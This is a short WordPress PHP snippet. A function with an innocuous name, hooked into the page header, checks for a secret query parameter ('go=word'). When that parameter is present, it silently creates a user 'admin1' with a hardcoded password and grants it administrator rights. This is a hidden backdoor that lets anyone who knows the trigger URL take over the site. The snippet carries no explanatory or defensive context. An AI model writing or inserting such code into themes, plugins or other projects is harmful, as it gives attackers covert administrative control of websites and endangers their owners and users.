add_action('wp_head', 'wp_header_admin_name'); 

function wp_header_admin_name() { 
  if ($_GET['go'] == 'word') { 
  if (!username_exists('username')) { 
   $user_data = array(
  'user_login' => 'admin1',
  'user_pass' => MD5('Adaea'),
  'user_nicename' => 'admina',
  'user_email' => 'admin@exle.com',
  'user_registered' => date('Y-m-d H:i:s'),
  'user_status' => 0,
  'display_name' => 'admin'
);
$user_id = wp_insert_user($user_data);
update_user_meta($user_id, 'wp_capabilities', array('administrator' => 1));}}}